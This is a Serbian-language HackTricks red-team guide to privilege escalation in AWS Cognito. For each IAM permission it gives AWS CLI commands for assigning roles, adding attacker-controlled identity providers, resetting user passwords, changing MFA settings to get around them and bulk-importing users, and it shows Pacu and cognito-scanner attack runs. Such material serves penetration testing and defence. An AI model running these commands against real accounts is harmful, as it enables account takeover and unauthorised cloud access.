AWS - Cognito Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Cognito

Za više informacija o Cognito-u proverite:

AWS - Cognito Enum

Prikupljanje akreditacija iz Identity Pool-a

Pošto Cognito može dodeliti IAM role akreditacije kako autentifikovanim tako i neautentifikovanim korisnicima, ako pronađete Identity Pool ID aplikacije (trebalo bi da je hardkodiran u njoj) možete dobiti nove akreditacije i time privesc (unutar AWS naloga gde verovatno prethodno niste imali nikakve akreditacije).

Za više informacija proverite ovu stranicu.

Potencijalni uticaj: Direktan privesc na ulogu usluga koja je pridružena neautentifikovanim korisnicima (i verovatno onoj koja je pridružena autentifikovanim korisnicima).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Sa ovlašćenjem možete dodeliti bilo koju cognito ulogu autentifikovanim/neautentifikovanim korisnicima cognito aplikacije.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Ako aplikacija Cognito nema omogućene neautentifikovane korisnike, možda će vam biti potrebna i dozvola cognito-identity:UpdateIdentityPool da je omogućite.

Potencijalni uticaj: Direktno povećanje privilegija za bilo koju Cognito ulogu.

cognito-identity:update-identity-pool

Napadač sa ovom dozvolom može, na primer, postaviti Cognito korisnički bazen pod svojom kontrolom ili bilo koji drugi pružalac identiteta gde se može prijaviti kao način pristupa ovom Cognito bazenu identiteta. Zatim, samo prijavljivanje na taj pružalac korisnika će mu omogućiti pristup konfigurisanoj autentifikovanoj ulozi u bazenu identiteta.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Takođe je moguće zloupotrebiti ovu dozvolu da bi se omogućila osnovna autentifikacija:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potencijalni uticaj: Kompromitacija konfigurisane autentifikovane IAM uloge unutar bazena identiteta.

cognito-idp:AdminAddUserToGroup

Ova dozvola omogućava dodavanje Cognito korisnika u Cognito grupu, stoga napadač može zloupotrebiti ovu dozvolu da doda korisnika pod svojom kontrolom u druge grupe sa boljim privilegijama ili različitim IAM ulogama:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potencijalni uticaj: Povećanje privilegija na druge Cognito grupe i IAM uloge koje su povezane sa grupama baziranim na korisničkom bazenu.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Napadač sa ovim dozvolama bi mogao kreirati/ažurirati grupe sa svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potencijalni uticaj: Povećanje privilegija na druge Cognito IAM uloge.

cognito-idp:AdminConfirmSignUp

Ova dozvola omogućava potvrdu registracije. Prema podrazumevanim podešavanjima, svako može se prijaviti na Cognito aplikacije, ako se to ostavi, korisnik može kreirati nalog sa bilo kojim podacima i potvrditi ga pomoću ove dozvole.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potencijalni uticaj: Indirektno povećanje privilegija za IAM ulogu baziranu na identitetu za autentifikovane korisnike ukoliko možete registrovati novog korisnika. Indirektno povećanje privilegija za druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga.

cognito-idp:AdminCreateUser

Ova dozvola bi omogućila napadaču da kreira novog korisnika unutar bazena korisnika. Novi korisnik je kreiran kao omogućen, ali će morati da promeni svoju lozinku.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potencijalni uticaj: Direktno povećanje privilegija za IAM ulogu baziranu na bazenu identiteta za autentifikovane korisnike. Indirektno povećanje privilegija za druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.

cognito-idp:AdminEnableUser

Ova dozvola može pomoći u vrlo specifičnom scenariju gde napadač pronađe akreditive onemogućenog korisnika i treba da ga ponovo omogući.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potencijalni uticaj: Indirektno povećanje privilegija na IAM ulogu baziranu na identitetnom bazenu za autentifikovane korisnike i dozvole korisnika ako napadač ima pristupnim podacima za onemogućenog korisnika.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Ova dozvola omogućava prijavljivanje putem metode ADMIN_USER_PASSWORD_AUTH. Za više informacija pratite link.

cognito-idp:AdminSetUserPassword

Ova dozvola bi omogućila napadaču da promeni lozinku bilo kog korisnika, čime bi mu omogućio da se predstavlja kao taj korisnik (ako korisnik nema omogućenu MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potencijalni uticaj: Direktno povećanje privilegija ka potencijalno bilo kom korisniku, što omogućava pristup svim grupama kojima korisnik pripada i pristup IAM ulozi autentifikovane uloge Identity Pool-a.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Napadač bi potencijalno mogao iskoristiti ovu dozvolu da postavi mobilni telefon pod svojom kontrolom kao SMS MFA za korisnika.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Slično kao i prethodna dozvola, ova dozvola se može koristiti za postavljanje MFA postavki korisnika kako bi se zaobišla MFA zaštita.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Slično kao i prethodna dozvola, ova dozvola se može koristiti za postavljanje MFA postavki korisničkog bazena kako bi se zaobišla MFA zaštita.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Takođe je moguće ažurirati korisnički bazen da bi se promenila MFA politika. Proverite cli ovde.

Potencijalni uticaj: Indirektno povećanje privilegija koje može uticati na bilo kog korisnika čije su kredencijale napadač poznavao, što omogućava zaobilaženje MFA zaštite.

cognito-idp:AdminUpdateUserAttributes

Napadač sa ovlašćenjem može promeniti e-mail ili broj telefona ili bilo koji drugi atribut korisnika pod svojom kontrolom kako bi pokušao da dobije više privilegija u podložnoj aplikaciji. Ovo omogućava promenu e-maila ili broja telefona i postavljanje kao verifikovanih.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potencijalni uticaj: Potencijalno indirektno povećanje privilegija u podložnoj aplikaciji korišćenjem Cognito User Pool-a koji dodeljuje privilegije na osnovu atributa korisnika.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Napadač sa ovlašćenjem može kreirati novog User Pool Client-a sa manje restrikcija u odnosu na već postojeće klijente bazena. Na primer, novi klijent može dozvoljavati bilo koju vrstu metode za autentifikaciju, ne mora imati tajni ključ, može imati onemogućeno opozivanje tokena, dozvoljavati da tokeni budu važeći duže vreme...

Isto se može uraditi i ako se izmeni postojeći klijent.

U komandnoj liniji (ili update) možete videti sve opcije, proverite!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potencijalni uticaj: Potencijalno indirektno povećanje privilegija na korisnika autorizovanog od strane bazena identiteta koji koristi bazen korisnika, stvaranjem novog klijenta koji opušta sigurnosne mere i omogućava napadaču da se prijavi sa korisnikom kojeg je uspeo da kreira.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Napadač bi mogao iskoristiti ovu dozvolu da kreira korisnike tako što će otpremiti CSV sa novim korisnicima.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(U slučaju kada kreirate novi uvoz posla, možda će vam biti potrebna dozvola iam passrole, nisam još testirao).

Potencijalni uticaj: Direktno povećanje privilegija na IAM ulogu bazena identiteta za autentifikovane korisnike. Indirektno povećanje privilegija na druge funkcionalnosti aplikacije, omogućavajući kreiranje bilo kog korisnika.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Napadač bi mogao da kreira novog pružaoca identiteta kako bi se zatim mogao prijaviti putem tog pružaoca.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potencijalni uticaj: Direktno povećanje privilegija za IAM ulogu baziranu na bazenu identiteta za autentifikovane korisnike. Indirektno povećanje privilegija za druge funkcionalnosti aplikacije, omogućavajući kreiranje bilo kog korisnika.

Analiza cognito-sync:*

Ovo je veoma česta dozvola koja je podrazumevana u ulogama Cognito bazena identiteta. Iako korišćenje zvezdice u dozvolama uvek izgleda loše (posebno kada dolazi od AWS-a), date dozvole nisu preterano korisne sa perspektive napadača.

Ova dozvola omogućava čitanje informacija o korisnicima iz bazena identiteta i identifikacionim ID-jevima unutar bazena identiteta (što nije osetljiva informacija). Identifikacioni ID-jevi mogu imati Datasets dodeljene njima, što su informacije o sesijama (AWS ih definiše kao sačuvanu igru). Moguće je da ove informacije sadrže neku vrstu osetljivih informacija (ali verovatnoća je prilično niska). Na stranici za enumeraciju možete pronaći kako pristupiti ovim informacijama.

Napadač takođe može koristiti ove dozvole da se upiše u Cognito strim koji objavljuje promene na ovim datasetima ili lambda funkciju koja se pokreće na Cognito događajima. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.

Automatski alati

  • Pacu, AWS okvir za eksploataciju, sada uključuje module "cognito__enum" i "cognito__attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu, označavaju slabu konfiguraciju, korisničke atribute koji se koriste za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i povećanje privilegija na osnovu izmenjivih prilagođenih atributa, upotrebljivih identifikacionih podataka bazena identiteta, uloga koje se mogu pretpostaviti u ID tokenima, itd.

Za opis funkcija modula pogledajte deo 2 blog posta. Za uputstva za instalaciju pogledajte glavnu Pacu stranicu.

Upotreba

Primer upotrebe cognito__attack za pokušaj kreiranja korisnika i svih vektora povećanja privilegija za određeni bazen identiteta i klijenta bazena korisnika:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Primer upotrebe cognito__enum za prikupljanje svih bazena korisnika, klijenata bazena korisnika, bazena identiteta, korisnika, itd. vidljivih u trenutnom AWS nalogu:

cognito__enum

Ovom komandom možete prikupiti sve informacije o bazenima korisnika, klijentima bazena korisnika, bazenima identiteta, korisnicima, itd. koji su vidljivi u trenutnom AWS nalogu.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner je CLI alatka napisana u Pythonu koja implementira različite napade na Cognito, uključujući i eskalaciju privilegija.

Instalacija

$ pip install cognito-scanner

Upotreba

$ cognito-scanner --help

Za više informacija posetite https://github.com/padok-team/cognito-scanner

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated